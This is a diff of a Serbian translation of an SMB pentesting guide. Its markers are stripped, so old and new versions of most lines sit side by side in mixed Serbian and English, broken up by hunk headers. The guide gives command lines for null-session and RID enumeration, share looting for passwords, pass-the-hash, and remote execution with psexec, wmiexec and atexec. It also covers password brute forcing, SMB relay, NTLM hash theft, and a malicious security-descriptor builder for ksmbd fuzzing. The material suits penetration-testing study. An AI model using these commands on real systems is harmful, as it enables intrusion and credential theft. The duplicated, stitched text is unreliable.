Protokol **Server Message Block (SMB)**, koji radi po **client-server** modelu, namenjen je za regulisanje **pristupa fajlovima**, direktorijumima i drugim mrežnim resursima kao što su štampači i ruteri. Uglavnom se koristi unutar serije operativnih sistema **Windows**, a SMB obezbeđuje kompatibilnost unazad, dopuštajući uređajima sa novijim verzijama Microsoft-ovog operativnog sistema da nesmetano komuniciraju sa onima koji koriste starije verzije. Pored toga, projekat **Samba** nudi rešenje slobodnog softvera koje omogućava implementaciju SMB na sistemima **Linux** i **Unix**, čime se olakšava komunikacija između različitih platformi putem SMB.
Shares, representing **arbitrary parts of the local file system**, can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)**, which define **access rights**, allow for **fine-grained control** over user permissions, including attributes like **`execute`**, **`read`**, and **`full access`**. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.
Shares, koji predstavljaju **arbitrarne delove lokalnog fajl sistema**, mogu biti obezbeđeni od strane SMB servera, čineći hijerarhiju vidljivom klijentu delimično **nezavisno** od stvarne strukture servera. The **Access Control Lists (ACLs)**, koje definišu **access rights**, omogućavaju **fine-grained control** nad korisničkim dozvolama, uključujući atribute kao što su **`execute`**, **`read`**, i **`full access`**. Ove dozvole se mogu dodeliti pojedinačnim korisnicima ili grupama, vezano za shares, i razlikuju se od lokalnih dozvola podešenih na serveru.
### IPC$ Share
Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of:
Pristup IPC$ share-u može se dobiti putem anonimne null session, što omogućava interakciju sa servisima izloženim preko named pipes. Alat `enum4linux` je koristan za ovu namenu. Ako se pravilno koristi, omogućava pribavljanje:
- Information on the operating system
- Details on the parent domain
- A compilation of local users and groups
- Information on available SMB shares
- The effective system security policy
- Informacije o operativnom sistemu
- Detalja o nadređenom domenu
- Liste lokalnih korisnika i grupa
- Informacija o dostupnim SMB shares
- Efektivne politike bezbednosti sistema
This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.
Ova funkcionalnost je ključna za mrežne administratore i bezbednosne profesionalce kako bi procenili bezbednosni položaj SMB (Server Message Block) servisa u mreži. `enum4linux` pruža sveobuhvatan pregled SMB okruženja ciljnog sistema, što je neophodno za identifikovanje potencijalnih ranjivosti i osiguravanje da su SMB servisi pravilno zaštićeni.
```bash
enum4linux -a target_ip
```
Gornja komanda je primer kako se `enum4linux` može koristiti za izvođenje potpune enumeracije protiv cilja navedenog kao `target_ip`.
Gore navedena komanda predstavlja primer kako se `enum4linux` može koristiti za kompletnu enumeraciju cilja označenog kao `target_ip`.
## Šta je NTLM
Ako ne znate šta je NTLM ili želite da saznate kako funkcioniše i kako ga zloupotrebiti, biće vam veoma zanimljiva ova stranica o **NTLM** na kojoj je objašnjeno **kako ovaj protokol radi i kako ga možete iskoristiti:**
Ako ne znate šta je NTLM ili želite da saznate kako funkcioniše i kako ga zloupotrebiti, veoma će vam biti zanimljiva ova stranica o **NTLM** na kojoj je objašnjeno **kako ovaj protokol funkcioniše i kako ga možete iskoristiti:**
{{#ref}}
@ -55,9 +55,9 @@ nbtscan -r 192.168.0.1/24
```
### Verzija SMB servera
Da biste tražili moguće exploits za SMB verziju, važno je znati koja verzija se koristi. Ako ova informacija nije prikazana u drugim alatima koje koristite, možete:
Da biste tražili moguće exploits za SMB, važno je znati koja verzija se koristi. Ako se ova informacija ne pojavljuje u drugim alatima koje koristite, možete:
- Koristite **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Koristite **MSF** pomoćni modul `**auxiliary/scanner/smb/smb_version**`
- Ili ovaj skript:
```bash
#!/bin/sh
@ -80,9 +80,9 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Mogući** Credentials
### **Mogući** podaci za prijavu
| **Username(s)** | **Common passwords** |
| **Korisničko ime(i)** | **Uobičajene lozinke** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
@ -98,7 +98,7 @@ searchsploit microsoft smb
### Informacije o SMB okruženju
### Dobijanje informacija
### Pribavljanje informacija
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
@ -120,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Enumerisanje korisnika, grupa i prijavljenih korisnika
### Enumerišite korisnike, grupe i prijavljene korisnike
Ove informacije bi već trebalo da budu prikupljene iz enum4linux i enum4linux-ng
Ove informacije bi već trebalo da budu prikupljene pomoću enum4linux i enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -140,7 +140,7 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
Jednolinijska komanda
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -150,20 +150,20 @@ use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Enumerisanje LSARPC i SAMR rpcclient**
### **Enumeracija LSARPC i SAMR rpcclient**
{{#ref}}
rpcclient-enumeration.md
{{#endref}}
### GUI konekcija sa linux-a
### GUI konekcija sa Linux-a
#### U terminalu:
`xdg-open smb://cascade.htb/`
#### U prozoru file browser-a (nautilus, thunar, itd)
#### U prozoru file managera (nautilus, thunar, itd.)
`smb://friendzone.htb/general/`
@ -171,7 +171,7 @@ rpcclient-enumeration.md
### Lista deljenih foldera
Uvek se preporučuje da proverite da li možete pristupiti bilo čemu; ako nemate kredencijale, pokušajte koristiti **null** **credentials/guest user**.
Uvek se preporučuje da proverite da li možete pristupiti nečemu; ako nemate credentials, pokušajte koristiti **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Poveži/Izlistaj deljenu fasciklu**
### **Poveži/Prikaži deljeni direktorijum**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -197,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Ručno nabrajanje windows shares i povezivanje na njih**
### **Ručno nabrajanje windows share-ova i povezivanje na njih**
Moguće je da vam je onemogućeno prikazivanje share-ova na host mašini i da kada pokušate da ih nabrojite izgleda kao da nema share-ova za povezivanje. Zato vredi ukratko pokušati ručno se povezati na neki share. Da biste ručno enumerisali shares, obratite pažnju na odgovore poput NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME kada koristite validnu sesiju (npr. null session ili valid credentials). To može ukazivati da li share postoji ali nemate pristup, ili da share uopšte ne postoji.
Moguće je da vam je onemogućeno prikazivanje share-ova na host mašini i da kada pokušate da ih nabrojite deluje kao da ne postoji nijedan share za povezivanje. Zato vredi pokušati kratko se ručno povezati na share. Da biste ručno nabrojali share-ove, obratite pažnju na odgovore kao što su NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME pri korišćenju važeće sesije (npr. null session or valid credentials). Ovi odgovori mogu ukazivati da li share postoji, ali nemate pristup, ili da share uopšte ne postoji.
Common share names for windows targets are
@ -212,14 +212,14 @@ Common share names for windows targets are
- SYSVOL
- NETLOGON
(Uobičajeni nazivi share-ova iz _**Network Security Assessment 3rd edition**_)
(Common share names from _**Network Security Assessment 3rd edition**_)
Možete pokušati da se povežete koristeći sledeću komandu
You can try to connect to them by using the following command
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
ili ovaj script (koristeći null session)
ili ovaj skript (koristeći null session)
```bash
#/bin/bash
@ -241,7 +241,7 @@ primeri
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Prikaz deljenih resursa sa Windows-a / bez alata treće strane**
### **Enumeracija deljenih resursa na Windows-u / bez alata treće strane**
PowerShell
```bash
@ -267,16 +267,16 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (grafički), unesite `\\<ip>\` da biste videli dostupne neskrivene deljene foldere.
explorer.exe (grafički), unesite `\\<ip>\` da biste videli dostupne neskrivene deljene resurse.
### Montiranje deljenog foldera
### Montiranje deljenog direktorijuma
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Preuzimanje fajlova**
### **Preuzimanje datoteka**
Pročitajte prethodne sekcije da biste naučili kako da se povežete koristeći credentials/Pass-the-Hash.
Pročitajte prethodne sekcije da biste naučili kako da se povežete pomoću credentials/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -291,16 +291,16 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Komande:
Naredbe:
- mask: određuje masku koja se koristi za filtriranje fajlova u direktorijumu (npr. "" za sve fajlove)
- mask: specificira masku koja se koristi za filtriranje fajlova unutar direktorijuma (npr. "" za sve fajlove)
- recurse: uključuje rekurziju (podrazumevano: isključeno)
- prompt: isključuje upit za imena fajlova (podrazumevano: uključeno)
- mget: kopira sve fajlove koji odgovaraju maski sa hosta na klijent mašinu
- prompt: isključuje prompt za imena fajlova (podrazumevano: uključeno)
- mget: kopira sve fajlove koji odgovaraju maski sa hosta na klijentsku mašinu
(_Informacije iz man stranice smbclient_)
### Pretraga deljenih foldera u domenu
### Pretraga deljenih foldera domena
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Posebno su interesantni na share-ovima fajlovi nazvani **`Registry.xml`** jer oni **mogu sadržati lozinke** za korisnike konfigurisane sa **autologon** putem Group Policy. Takođe, **`web.config`** fajlovi često sadrže kredencijale.
Posebno interesantni iz shares su fajlovi nazvani **`Registry.xml`** jer oni **mogu sadržavati lozinke** za korisnike konfigurisane sa **autologon** preko **Group Policy**. Ili **`web.config`** fajlovi jer sadrže kredencijale.
> [!TIP]
> **SYSVOL share** je **čitljiv** za sve autentifikovane korisnike u domenu. Tamo možete **naći** mnoge različite batch, VBScript, i PowerShell **skripte**.\
> Trebalo bi da **proverite** skripte u njemu jer biste mogli **naći** osetljive informacije kao što su **lozinke**.
> **SYSVOL share** je **čitljiv** svim autentifikovanim korisnicima u domenu. Tamo možete **naći** mnoge različite batch, VBScript i PowerShell **skripte**.\
> Trebalo bi da **proverite** **skripte** unutar njega jer biste mogli **pronaći** osetljive informacije kao što su **lozinke**.
## Čitanje registra
Možda ćete moći da **čitete registar** koristeći neke otkrivene kredencijale. Impacket **`reg.py`** vam omogućava da probate:
Možda ćete moći da **pročitate registry** koristeći neke pronađene kredencijale. Impacket **`reg.py`** vam omogućava da probate:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -328,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
**podrazumevana konfiguracija** **Samba** servera obično se nalazi u `/etc/samba/smb.conf` i može sadržati neke **opasne konfiguracije**:
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
| **Setting** | **Description** |
| **Postavka** | **Opis** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Dozvoljava listanje dostupnih share-ova u trenutnom share-u? |
| `read only = no` | Zabrana kreiranja i modifikacije fajlova? |
| `read only = no` | Zabranjuje kreiranje i modifikaciju fajlova? |
| `writable = yes` | Dozvoljava korisnicima da kreiraju i menjaju fajlove? |
| `guest ok = yes` | Dozvoljava povezivanje na servis bez korišćenja lozinke? |
| `enable privileges = yes` | Poštuje privilegije dodeljene određenom SID-u? |
| `guest ok = yes` | Dozvoljava povezivanje na servis bez korišćenja lozinke? |
| `enable privileges = yes` | Poštuje privilegije dodeljene specifičnom SID-u? |
| `create mask = 0777` | Koje permisije treba dodeliti novokreiranim fajlovima? |
| `directory mask = 0777` | Koje permisije treba dodeliti novokreiranim direktorijumima? |
| `logon script = script.sh` | Koji skript treba da se izvrši pri prijavi korisnika? |
| `magic script = script.sh` | Koji skript treba biti izvršen kada se skripta bude zatvorena? |
| `magic output = script.out` | Gde treba sačuvati izlaz magic skripte? |
| `magic script = script.sh` | Koji skript treba da se izvrši kada se skript zatvori? |
| `magic output = script.out` | Gde treba da se čuva izlaz magic skripta? |
Komanda `smbstatus` daje informacije o **serveru** i o **ko je povezan**.
Komanda `smbstatus` daje informacije o **serveru** i o **tome ko je povezan**.
## Authenticate using Kerberos
## Autentifikacija koristeći Kerberos
Možete se autentifikovati na Kerberos koristeći alate smbclient i rpcclient:
Možete se **autentifikovati** na **Kerberos** koristeći alate **smbclient** i **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -356,7 +356,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec može izvršavati komande koristeći bilo koji od **mmcexec, smbexec, atexec, wmiexec** pri čemu je **wmiexec** **podrazumevana** metoda. Možete naznačiti koju opciju želite da koristite parametrom `--exec-method`:
crackmapexec može izvršavati komande **iskorištavajući** bilo kog od **mmcexec, smbexec, atexec, wmiexec**, pri čemu je **wmiexec** **podrazumevana** metoda. Možete naznačiti koju opciju želite koristiti parametrom `--exec-method`:
```bash
apt-get install crackmapexec
@ -380,9 +380,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Obe opcije će **kreirati novu uslugu** (koristeći _\pipe\svcctl_ preko SMB-a) na žrtvinom računaru i iskoristiti je da **izvrše nešto** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
**Više informacija** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) i [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Na **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
Obe opcije će **kreirati novu uslugu** (koristeći _\pipe\svcctl_ via SMB) na računaru žrtve i koristiti je da **izvrše nešto** (**psexec** će **upload** izvršni fajl na ADMIN$ share, a **smbexec** će pokazati na **cmd.exe/powershell.exe** i staviti u argumente payload --**file-less technique**--).\
**Više info** about [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -390,19 +390,19 @@ Na **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Koristeći **parameter**`-k` možete se autentifikovati pomoću **kerberos** umesto **NTLM**
Korišćenjem **parametra** `-k` možete se autentifikovati preko **kerberos** umesto **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Diskretno pokrenite komandni shell bez dodirivanja diska ili pokretanja novog servisa koristeći DCOM preko **port 135.**\
U **kali** nalazi se u /usr/share/doc/python3-impacket/examples/
Neprimetno izvršite command shell bez diranja diska ili pokretanja novog servisa koristeći DCOM preko **port 135.**\
U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Koristeći **parameter**`-k` možete da se autentifikujete pomoću **kerberos** umesto **NTLM**
Korišćenjem **parametra**`-k` možete se autentifikovati putem **kerberos** umesto **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -411,7 +411,7 @@ Koristeći **parameter**`-k` možete da se autentifikujete pomoću **kerberos**
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Izvršavajte naredbe preko Task Scheduler-a (koristeći _\pipe\atsvc_ preko SMB).\
Izvršavajte komande putem Task Scheduler-a (koristeći _\pipe\atsvc_ preko SMB).\
Na **kali** se nalazi u /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@ -421,13 +421,13 @@ Na **kali** se nalazi u /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
### ksmbd napadna površina i SMB2/SMB3 protocol fuzzing (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce users credentials**
## **Bruteforce korisničkih credentials**
**Ovo se ne preporučuje, možete blokirati nalog ako premašite maksimalno dozvoljen broj pokušaja**
```bash
@ -436,21 +436,21 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
Ovaj napad koristi Responder toolkit da bi **capture SMB authentication sessions** na internoj mreži, i **relays** ih na **target machine**. Ako je authentication **session is successful**, automatski će vas dovesti u **system** **shell**.\
Ovaj napad koristi Responder toolkit da uhvati SMB autentifikacione sesije na internoj mreži i preusmeri ih na ciljnu mašinu. Ako je autentifikaciona sesija uspešna, automatski ćete dobiti sistemski shell.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Windows biblioteka URLMon.dll automatski pokušava da authenticate-uje prema hostu kada stranica pokuša da pristupi nekom sadržaju preko SMB, na primer: `img src="\\10.10.10.10\path\image.jpg"`
Windows biblioteka URLMon.dll automatski pokušava da se autentifikuje prema hostu kada stranica pokuša da pristupi nekom sadržaju preko SMB, na primer: `img src="\\10.10.10.10\path\image.jpg"`
Ovo se dešava sa sledećim funkcijama:
This happens with the functions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Koje koriste neki pregledači i alati (kao Skype)
Which are used by some browsers and tools (like Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
@ -460,7 +460,7 @@ Koje koriste neki pregledači i alati (kao Skype)
## NTLM Theft
Slično SMB Trapping-u, postavljanje malicioznih fajlova na target system (npr. preko SMB) može izazvati SMB authentication pokušaj, što omogućava presretanje NetNTLMv2 hasha pomoću alata kao što je Responder. Hash potom može biti razbijen offline ili iskorišćen u [SMB relay attack](#smb-relay-attack).
Slično SMB Trapping-u, postavljanje malicioznih fajlova na ciljni sistem (npr. preko SMB) može izazvati pokušaj SMB autentifikacije, što omogućava presretanje NetNTLMv2 hasha pomoću alata kao što je Responder. Hash se zatim može razbiti offline ili koristiti u an [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

80
src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
View File

@ -1,23 +1,23 @@
# ksmbd Površina napada i fuzzing SMB2/SMB3 protokola (syzkaller)
# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
## Pregled
Ova stranica apstrahuje praktične tehnike za vežbanje i fuzzing Linux in-kernel SMB servera (ksmbd) koristeći syzkaller. Fokus je na proširenju attack surface protokola kroz konfiguraciju, izgradnji stateful harness-a sposobnog da lančano izvodi SMB2 operacije, generisanju PDUs validnih prema gramatici, usmeravanju mutacija ka slabo pokrivenim kodnim putevima i iskorišćavanju syzkaller funkcija kao što su focus_areas i ANYBLOB. Dok originalno istraživanje navodi specifične CVE-ove, ovde naglašavamo ponovljivo metodološko pristupanje i konkretne snippete koje možete prilagoditi sopstvenim setup-ovima.
Ova stranica sažima praktične tehnike za vežbanje i fuzzing Linux in-kernel SMB servera (ksmbd) koristeći syzkaller. Fokusira se na proširenje attack surface-a protokola kroz konfiguraciju, izgradnju stateful harness-a sposobnog da poveže SMB2 operacije, generisanje grammar-valid PDUs, usmeravanje mutacija ka slabo pokrivenim kodnim putevima i korišćenje syzkaller funkcija kao što su focus_areas i ANYBLOB. Dok originalno istraživanje nabraja specifične CVE-e, ovde naglašavamo ponovljivo metodološko pristupanje i konkretne isječke koje možete prilagoditi sopstvenim okruženjima.
Ciljni obuhvat: SMB2/SMB3 preko TCP-a. Kerberos i RDMA su namerno van obuhvata da bi harness ostao jednostavan.
Target scope: SMB2/SMB3 over TCP. Kerberos i RDMA su namerno van opsega da bi harness ostao jednostavan.
---
## Proširenje ksmbd površine napada kroz konfiguraciju
Po defaultu, minimalan ksmbd setup ostavlja velike delove servera netestiranim. Omogućite sledeće funkcije da biste naterali server kroz dodatne parsere/handlere i dohvatili dublje kodne puteve:
## Proširite ksmbd Attack Surface putem konfiguracije
Po defaultu, minimalna ksmbd konfiguracija ostavlja veliki deo servera netestiranim. Omogućite sledeće funkcije da biste naveli server da prolazi kroz dodatne parsere/handlere i doseže dublje kodne puteve:
- Global-level
- Durable handles
- Server multi-channel
- SMB2 leases
- Per-share-level
- Oplocks (uključen po defaultu)
- Oplocks (on by default)
- VFS objects
Omogućavanje ovih opcija povećava izvršavanje u modulima kao što su:
@ -29,27 +29,27 @@ Omogućavanje ovih opcija povećava izvršavanje u modulima kao što su:
- vfs_cache.c (lookup cache)
Napomene
- Tačne opcije zavise od vašeg distro-ovog ksmbd userspace-a (ksmbd-tools). Pregledajte /etc/ksmbd/ksmbd.conf i per-share sekcije da omogućite durable handles, leases, oplocks i VFS objects.
- Multi-channel i durable handles menjaju state machine i lifetime, često eksponirajući UAF/refcount/OOB bagove pod konkurentnošću.
- Tačne opcije zavise od ksmbd userspace-a vaše distro-e (ksmbd-tools). Pregledajte /etc/ksmbd/ksmbd.conf i per-share sekcije da omogućite durable handles, leases, oplocks i VFS objects.
- Multi-channel i durable handles menjaju state machine-e i lifetim-e, često izlažući UAF/refcount/OOB bugove pod konkurentnošću.
---
## Podešavanja autentifikacije i rate-limiting za fuzzing
SMB3 zahteva validnu sesiju. Implementacija Kerberos-a u harness-evima dodaje kompleksnost, pa se za fuzzing radije koristi NTLM/guest:
## Podešavanja autentikacije i rate-limiting za fuzzing
SMB3 zahteva validnu sesiju. Implementacija Kerberos-a u harness-evima dodaje kompleksnost, pa za fuzzing preferirajte NTLM/guest:
- Dozvolite guest pristup i podesite map to guest = bad user tako da nepoznati korisnici padaju na GUEST.
- Prihvatite NTLMv2 (patch-ujte politiku ako je onemogućen). Ovo pojednostavljuje handshake dok i dalje aktivira SMB3 kodne puteve.
- Patch-ujte stroge credit checks tokom eksperimentisanja (post-hardening za CVE-2024-50285 je strožije regulisao simultaneous-op crediting). Inače, rate-limiti mogu odbacivati fuzzovane sekvence prerano.
- Povećajte max connections (npr. na 65536) da izbegnete rane odbacivanja pri visokoprotočnom fuzzingu.
- Allow guest access i set map to guest = bad user tako da nepoznati korisnici padaju na GUEST.
- Accept NTLMv2 (patch policy ako je disabled). Ovo održava handshake jednostavnim dok se i dalje vežbaju SMB3 kodni putevi.
- Patch-ujte stroge kredit-provere dok eksperimentišete (post-hardening za CVE-2024-50285 je učinio simultaneous-op crediting strožijim). U suprotnom, rate-limiti mogu odbiti fuzzovane sekvence prerano.
- Povećajte max connections (npr. na 65536) da izbegnete rane odbijanja tokom visokopropusnog fuzzinga.
Upozorenje: Ova opuštanja služe isključivo za potrebe fuzzinga. Ne deploy-ujte sa ovim podešavanjima u produkciji.
Upozorenje: Ova relaksiranja su isključivo radi olakšavanja fuzzinga. Ne koristite ovakva podešavanja u produkciji.
---
## Stateful harness: Ekstrakcija resursa i lančanje zahteva
SMB je stateful: mnogi zahtevi zavise od identifikatora vraćenih prethodnim odgovorima (SessionId, TreeID, FileID parovi). Vaš harness mora parsirati odgovore i ponovo koristiti ID-ove unutar istog programa da bi dosegao dublje handlere (npr. smb2_create → smb2_ioctl → smb2_close).
## Stateful Harness: Ekstrahovanje resursa i povezivanje zahteva
SMB je stateful: mnogi zahtevi zavise od identifikatora vraćenih u prethodnim odgovorima (SessionId, TreeID, FileID parovi). Vaš harness mora parsirati odgovore i ponovo koristiti ID-e unutar istog programa da bi dostigao dublje handlere (npr. smb2_create → smb2_ioctl → smb2_close).
Primer snippeta za obradu response buffera (preskačući +4B NetBIOS PDU length) i keširanje ID-ova:
Primer isječka za obradu response buffer-a (preskačući +4B NetBIOS PDU length) i keširanje ID-eva:
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
@ -76,13 +76,13 @@ break;
}
```
Saveti
- Zadržite jedan fuzzer process koji deli authentication/state: pruža bolju stabilnost i pokrivenost sa ksmbd’s global/session tables. syzkaller i dalje uvodi concurrency tako što označava ops kao async i interno ih ponovo pokreće.
- Syzkaller’s experimental reset_acc_state može resetovati global state, ali može uvesti značajno usporenje. Prioritet dajte stabilnosti i fokusirajte se na fuzzing umesto toga.
- Koristite jedan fuzzer proces koji deli authentication/state: bolja stabilnost i pokrivenost sa ksmbd’s global/session tables. syzkaller i dalje ubrizgava konkurentnost označavanjem ops kao async, interno ponovo izvršava.
- Syzkaller’s experimental reset_acc_state može resetovati global state ali može uvesti značajno usporenje. Preferirajte stabilnost i fokusirajte se na fuzzing umesto toga.
---
## Generisanje SMB2 vođeno gramatikom (validni PDUs)
Prevedite Microsoft Open Specifications SMB2 strukture u fuzzer grammar tako da vaš generator proizvodi strukturno validne PDUs koje sistematski dopiru do dispatchers i IOCTL handlers.
## Generisanje SMB2 vođeno gramatikom (ispravni PDU-i)
Prevedite Microsoft Open Specifications SMB2 strukture u fuzzer gramatiku tako da vaš generator proizvodi strukturalno ispravne PDU-e, koji sistematski stižu do dispatchers i IOCTL handlers.
Primer (SMB2 IOCTL request):
```
@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
Ovaj stil prisiljava na ispravne structure sizes/offsets i drastično poboljšava coverage u odnosu na blind mutation.
Ovaj stil osigurava ispravne veličine/offsete struktura i dramatično poboljšava coverage u odnosu na blind mutation.
---
## Directed Fuzzing With focus_areas
Koristite syzkaller’s experimental focus_areas da date veću težinu određenim functions/files koje trenutno imaju slab coverage. Example JSON:
## Directed Fuzzing pomoću focus_areas
Koristite syzkaller’s eksperimentalni focus_areas da date veću težinu specifičnim funkcijama/datotekama koje trenutno imaju slabu coverage. Primer JSON:
```json
{
"focus_areas": [
@ -122,9 +122,9 @@ Koristite syzkaller’s experimental focus_areas da date veću težinu određeni
]
}
```
Ovo pomaže da se konstruišu validni ACLs koji pogađaju arithmetic/overflow puteve u smbacl.c. Na primer, zlonamerni Security Descriptor sa prevelikim dacloffset reprodukuje integer-overflow.
Ovo pomaže u konstruisanju validnih ACL-ova koji pogode aritmetičke/overflow putanje u smbacl.c. Na primer, maliciozan Security Descriptor sa prevelikim dacloffset reprodukuje integer-overflow.
Generator reprodukcije (minimalni Python):
Reproducer builder (minimal Python):
```python
def build_sd():
import struct
@ -144,7 +144,7 @@ return bytes(sd)
---
## Prevazilaženje platoa pokrivenosti uz ANYBLOB
syzkaller’s anyTypes (ANYBLOB/ANYRES) omogućavaju sabijanje složenih struktura u blobs koji se generički mutiraju. Napunite novi korpus iz javnih SMB pcaps i konvertujte payloads u syzkaller programe koji pozivaju vaš pseudo-syscall (npr. syz_ksmbd_send_req):
